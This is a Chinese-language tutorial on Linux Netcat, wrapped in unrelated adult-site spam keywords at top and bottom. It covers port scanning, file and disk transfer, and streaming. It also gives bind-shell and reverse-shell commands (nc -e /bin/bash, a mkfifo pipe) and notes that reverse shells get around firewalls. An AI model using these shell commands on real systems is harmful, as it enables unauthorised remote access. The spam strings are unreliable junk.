成人免费xxxxx在线视频软件_久久精品久久久_亚洲国产精品久久久_天天色天天色_亚洲人成一区_欧美一级欧美三级在线观看

Linux Netcat 命令:網(wǎng)絡(luò)工具中的瑞士軍刀

系統(tǒng) Linux
Netcat所做的就是在兩臺電腦之間建立鏈接并返回兩個數(shù)據(jù)流,Netcat是網(wǎng)絡(luò)工具中的瑞士軍刀,它能通過TCP和UDP在網(wǎng)絡(luò)中讀寫數(shù)據(jù)。通過與其他工具結(jié)合和重定向,你可以在腳本中以多種方式使用它。使用netcat命令所能完成的事情令人驚訝。

  Netcat是網(wǎng)絡(luò)工具中的瑞士軍刀,它能通過TCP和UDP在網(wǎng)絡(luò)中讀寫數(shù)據(jù)。通過與其他工具結(jié)合和重定向,你可以在腳本中以多種方式使用它。使用Netcat命令所能完成的事情令人驚訝。

  Netcat所做的就是在兩臺電腦之間建立鏈接并返回兩個數(shù)據(jù)流,在這之后所能做的事就看你的想像力了。你能建立一個服務(wù)器,傳輸文件,與朋友聊天,傳輸流媒體或者用它作為其它協(xié)議的獨(dú)立客戶端。

  下面是一些使用Netcat的例子.

  [A(172.31.100.7) B(172.31.100.23)]

  Linux Netcat 命令實(shí)例:

  1、端口掃描

  端口掃描經(jīng)常被系統(tǒng)管理員和黑客用來發(fā)現(xiàn)在一些機(jī)器上開放的端口,幫助他們識別系統(tǒng)中的漏洞。

  $nc -z -v -n 172.31.100.7 21-25

  可以運(yùn)行在TCP或者UDP模式,默認(rèn)是TCP,-u參數(shù)調(diào)整為udp.

  • z 參數(shù)告訴Netcat使用0 IO,指的是一旦連接關(guān)閉,不進(jìn)行數(shù)據(jù)交換(譯者注:這里翻譯不準(zhǔn),如有其它更好的,請指出)
  • v 參數(shù)指使用冗余選項(xiàng)(譯者注:即詳細(xì)輸出)
  • n 參數(shù)告訴Netcat 不要使用DNS反向查詢IP地址的域名

  這個命令會打印21到25 所有開放的端口。Banner是一個文本,Banner是一個你連接的服務(wù)發(fā)送給你的文本信息。當(dāng)你試圖鑒別漏洞或者服務(wù)的類型和版本的時候,Banner信息是非常有用的。但是,并不是所有的服務(wù)都會發(fā)送banner。

  一旦你發(fā)現(xiàn)開放的端口,你可以容易的使用Netcat 連接服務(wù)抓取他們的banner。

  $ nc -v 172.31.100.7 21

  Netcat 命令會連接開放端口21并且打印運(yùn)行在這個端口上服務(wù)的banner信息。

  Chat Server

  假如你想和你的朋友聊聊,有很多的軟件和信息服務(wù)可以供你使用。但是,如果你沒有這么奢侈的配置,比如你在計(jì)算機(jī)實(shí)驗(yàn)室,所有的對外的連接都是被限制的,你怎樣和整天坐在隔壁房間的朋友溝通那?不要郁悶了,Netcat提供了這樣一種方法,你只需要創(chuàng)建一個Chat服務(wù)器,一個預(yù)先確定好的端口,這樣子他就可以聯(lián)系到你了。

  Server

  $nc -l 1567

  Netcat 命令在1567端口啟動了一個tcp 服務(wù)器,所有的標(biāo)準(zhǔn)輸出和輸入會輸出到該端口。輸出和輸入都在此shell中展示。

  Client

  $nc 172.31.100.7 1567

  不管你在機(jī)器B上鍵入什么都會出現(xiàn)在機(jī)器A上。

  3、文件傳輸

  大部分時間中,我們都在試圖通過網(wǎng)絡(luò)或者其他工具傳輸文件。有很多種方法,比如FTP,SCP,SMB等等,但是當(dāng)你只是需要臨時或者一次傳輸文件,真的值得浪費(fèi)時間來安裝配置一個軟件到你的機(jī)器上嘛。假設(shè),你想要傳一個文件file.txt 從A 到B。A或者B都可以作為服務(wù)器或者客戶端,以下,讓A作為服務(wù)器,B為客戶端。

  Server

  $nc -l 1567 < file.txt

  Client

  $nc -n 172.31.100.7 1567 > file.txt

  這里我們創(chuàng)建了一個服務(wù)器在A上并且重定向Netcat的輸入為文件file.txt,那么當(dāng)任何成功連接到該端口,Netcat會發(fā)送file的文件內(nèi)容。

  在客戶端我們重定向輸出到file.txt,當(dāng)B連接到A,A發(fā)送文件內(nèi)容,B保存文件內(nèi)容到file.txt.

  沒有必要創(chuàng)建文件源作為Server,我們也可以相反的方法使用。像下面的我們發(fā)送文件從B到A,但是服務(wù)器創(chuàng)建在A上,這次我們僅需要重定向Netcat的輸出并且重定向B的輸入文件。

  B作為Server

  Server

  $nc -l 1567 > file.txt

  Client

  nc 172.31.100.23 1567 < file.txt

  4、目錄傳輸

  發(fā)送一個文件很簡單,但是如果我們想要發(fā)送多個文件,或者整個目錄,一樣很簡單,只需要使用壓縮工具tar,壓縮后發(fā)送壓縮包。

  如果你想要通過網(wǎng)絡(luò)傳輸一個目錄從A到B。

  Server

  $tar -cvf – dir_name | nc -l 1567

  Client

  $nc -n 172.31.100.7 1567 | tar -xvf -

  這里在A服務(wù)器上,我們創(chuàng)建一個tar歸檔包并且通過-在控制臺重定向它,然后使用管道,重定向給Netcat,Netcat可以通過網(wǎng)絡(luò)發(fā)送它。

  在客戶端我們下載該壓縮包通過Netcat 管道然后打開文件。

  如果想要節(jié)省帶寬傳輸壓縮包,我們可以使用bzip2或者其他工具壓縮。

  Server

  $tar -cvf – dir_name| bzip2 -z | nc -l 1567

  通過bzip2壓縮

  Client

  $nc -n 172.31.100.7 1567 | bzip2 -d |tar -xvf -

  使用bzip2解壓

  5. 加密你通過網(wǎng)絡(luò)發(fā)送的數(shù)據(jù)

  如果你擔(dān)心你在網(wǎng)絡(luò)上發(fā)送數(shù)據(jù)的安全,你可以在發(fā)送你的數(shù)據(jù)之前用如mcrypt的工具加密。

  服務(wù)端

  $nc localhost 1567 | mcrypt –flush –bare -F -q -d -m ecb > file.txt

  使用mcrypt工具加密數(shù)據(jù)。

  客戶端

  $mcrypt –flush –bare -F -q -m ecb < file.txt | nc -l 1567

  使用mcrypt工具解密數(shù)據(jù)。

  以上兩個命令會提示需要密碼,確保兩端使用相同的密碼。

  這里我們是使用mcrypt用來加密,使用其它任意加密工具都可以。

  6. 流視頻

  雖然不是生成流視頻的最好方法,但如果服務(wù)器上沒有特定的工具,使用Netcat,我們?nèi)匀挥邢M龀蛇@件事。

  服務(wù)端

  $cat video.avi | nc -l 1567

  這里我們只是從一個視頻文件中讀入并重定向輸出到Netcat客戶端

  $nc 172.31.100.7 1567 | mplayer -vo x11 -cache 3000 -

  這里我們從socket中讀入數(shù)據(jù)并重定向到mplayer。

  7、克隆一個設(shè)備

  如果你已經(jīng)安裝配置一臺Linux機(jī)器并且需要重復(fù)同樣的操作對其他的機(jī)器,而你不想在重復(fù)配置一遍。不在需要重復(fù)配置安裝的過程,只啟動另一臺機(jī)器的一些引導(dǎo)可以隨身碟和克隆你的機(jī)器。

  克隆Linux PC很簡單,假如你的系統(tǒng)在磁盤/dev/sda上

  Server

  $dd if=/dev/sda | nc -l 1567

  Client

  $nc -n 172.31.100.7 1567 | dd of=/dev/sda

  dd是一個從磁盤讀取原始數(shù)據(jù)的工具,我通過Netcat服務(wù)器重定向它的輸出流到其他機(jī)器并且寫入到磁盤中,它會隨著分區(qū)表拷貝所有的信息。但是如果我們已經(jīng)做過分區(qū)并且只需要克隆root分區(qū),我們可以根據(jù)我們系統(tǒng)root分區(qū)的位置,更改sda 為sda1,sda2.等等。

  8、打開一個shell

  我們已經(jīng)用過遠(yuǎn)程shell-使用telnet和ssh,但是如果這兩個命令沒有安裝并且我們沒有權(quán)限安裝他們,我們也可以使用Netcat創(chuàng)建遠(yuǎn)程shell。

  假設(shè)你的Netcat支持 -c -e 參數(shù)(默認(rèn) Netcat)

  Server

  $nc -l 1567 -e /bin/bash -i

  Client

  $nc 172.31.100.7 1567

  這里我們已經(jīng)創(chuàng)建了一個Netcat服務(wù)器并且表示當(dāng)它連接成功時執(zhí)行/bin/bash

  假如Netcat 不支持-c 或者 -e 參數(shù)(openbsd Netcat),我們?nèi)匀荒軌騽?chuàng)建遠(yuǎn)程shell

  Server

  $mkfifo /tmp/tmp_fifo
  $cat /tmp/tmp_fifo | /bin/sh -i 2>&1 | nc -l 1567 > /tmp/tmp_fifo

  這里我們創(chuàng)建了一個fifo文件,然后使用管道命令把這個fifo文件內(nèi)容定向到shell 2>&1中。是用來重定向標(biāo)準(zhǔn)錯誤輸出和標(biāo)準(zhǔn)輸出,然后管道到Netcat 運(yùn)行的端口1567上。至此,我們已經(jīng)把Netcat的輸出重定向到fifo文件中。

  說明:從網(wǎng)絡(luò)收到的輸入寫到fifo文件中

  • cat 命令讀取fifo文件并且其內(nèi)容發(fā)送給sh命令
  • sh命令進(jìn)程受到輸入并把它寫回到Netcat。
  • Netcat 通過網(wǎng)絡(luò)發(fā)送輸出到client

  至于為什么會成功是因?yàn)楣艿朗姑钇叫袌?zhí)行,fifo文件用來替代正常文件,因?yàn)閒ifo使讀取等待而如果是一個普通文件,cat命令會盡快結(jié)束并開始讀取空文件。

  9、在客戶端僅僅簡單連接到服務(wù)器

  Client

  $nc -n 172.31.100.7 1567

  你會得到一個shell提示符在客戶端

  反向shell

  反向shell是人曾經(jīng)在客戶端打開的shell。反向shell這樣命名是因?yàn)椴煌谄渌渲茫@里服務(wù)器使用的是由客戶提供的服務(wù)。

  服務(wù)端

  $nc -l 1567

  在客戶端,簡單地告訴Netcat在連接完成后,執(zhí)行shell。

  客戶端

  $nc 172.31.100.7 1567 -e /bin/bash

  現(xiàn)在,什么是反向shell的特別之處呢

  反向shell經(jīng)常被用來繞過防火墻的限制,如阻止入站連接。例如,我有一個專用IP地址為172.31.100.7,我使用代理服務(wù)器連接到外部網(wǎng)絡(luò)。如果我想從網(wǎng)絡(luò)外部訪問 這臺機(jī)器如1.2.3.4的shell,那么我會用反向外殼用于這一目的。

  10. 指定源端口

  假設(shè)你的防火墻過濾除25端口外其它所有端口,你需要使用-p選項(xiàng)指定源端口。

  服務(wù)器端

  $nc -l 1567

  客戶端

  $nc 172.31.100.7 1567 -p 25

  使用1024以內(nèi)的端口需要root權(quán)限。

  該命令將在客戶端開啟25端口用于通訊,否則將使用隨機(jī)端口。

  11、指定源地址

  假設(shè)你的機(jī)器有多個地址,希望明確指定使用哪個地址用于外部數(shù)據(jù)通訊。我們可以在Netcat中使用-s選項(xiàng)指定ip地址。

  服務(wù)器端

  $nc -u -l 1567 < file.txt

  客戶端

  $nc -u 172.31.100.7 1567 -s 172.31.100.5 > file.txt

  該命令將綁定地址172.31.100.5。

  這僅僅是使用Netcat的一些示例。

  其它用途有:

  • 使用-t選項(xiàng)模擬Telnet客戶端,
  • HTTP客戶端用于下載文件,
  • 連接到郵件服務(wù)器,使用SMTP協(xié)議檢查郵件,
  • 使用ffmpeg截取屏幕并通過流式傳輸分享,等等。其它更多用途。

  簡單來說,只要你了解協(xié)議就可以使用Netcat作為網(wǎng)絡(luò)通訊媒介,實(shí)現(xiàn)各種客戶端。

原文鏈接:http://mylinuxbook.com/linux-Netcat-command/

責(zé)任編輯:黃丹 來源: oschina.net
相關(guān)推薦

2010-12-01 12:31:23

NetCat掃描端口

2019-06-27 17:00:09

nc命令 Linux

2019-06-24 09:57:39

網(wǎng)絡(luò)工具調(diào)試

2019-06-28 11:26:31

LinuxWindowsTcping

2013-06-08 10:36:47

Linux命令行

2014-09-26 14:30:41

2020-03-13 11:18:17

運(yùn)維架構(gòu)技術(shù)

2022-02-15 10:15:13

Web網(wǎng)絡(luò)程序員

2020-07-02 09:21:40

Java 緩存開發(fā)

2009-07-21 14:16:18

Scalafor表達(dá)式

2017-05-03 14:45:45

MySQL數(shù)據(jù)恢復(fù)

2014-05-29 14:44:06

瑞士軍刀綜合征開發(fā)者

2023-12-07 18:16:50

2011-10-18 14:11:17

Web開發(fā)

2021-09-05 18:30:59

Alpine容器Busybox

2011-08-01 09:43:08

PhoneGap 1.PhoneGap

2009-09-09 12:10:40

2023-04-27 07:06:09

Categraf夜鶯

2023-12-25 12:03:42

2010-12-17 10:00:19

netcatLinux
點(diǎn)贊
收藏

51CTO技術(shù)棧公眾號

主站蜘蛛池模板: 在线免费黄色小视频 | 欧美一区二区三区在线免费观看 | 黄频免费 | 久久只有精品 | 一区二区三区网站 | 午夜欧美一区二区三区在线播放 | 亚洲理论在线观看电影 | 91视频91| 国产乱码一二三区精品 | 欧美精品一区三区 | 国产一区91在线 | 精品成人 | 黑人粗黑大躁护士 | 成人美女免费网站视频 | 亚洲一区二区三区视频 | 国产伦精品一区二区三区精品视频 | 亚洲精品视频免费 | 中文字幕视频在线观看 | 日韩久久久久久 | 蜜桃在线一区二区三区 | 国产东北一级毛片 | 夜夜爽99久久国产综合精品女不卡 | 日日爱夜夜操 | 在线91| 日韩欧美在线视频 | 老头搡老女人毛片视频在线看 | 狠狠干影院| 婷婷久久五月 | 色综合天天网 | 日韩精品在线一区 | 欧美一区二区三区在线观看 | 狠狠操狠狠搞 | 亚洲 欧美 激情 另类 校园 | 亚洲444eee在线观看 | 日韩精品一区二区三区中文字幕 | 91免费电影| 男女污污网站 | 免费久久精品视频 | 久久大陆 | 亚洲午夜视频在线观看 | 一区久久 |